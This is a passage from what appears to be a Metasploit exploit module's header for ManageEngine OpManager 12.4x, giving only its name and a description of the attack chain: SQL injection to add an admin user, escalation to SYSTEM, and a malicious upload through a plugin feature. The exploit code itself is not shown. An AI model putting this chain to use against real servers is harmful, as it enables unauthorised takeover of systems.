'Name' => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution",
'Description' => %q(
This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions.
Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
Therefore low authority user can gain the authority of "system" on the server.
It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin.
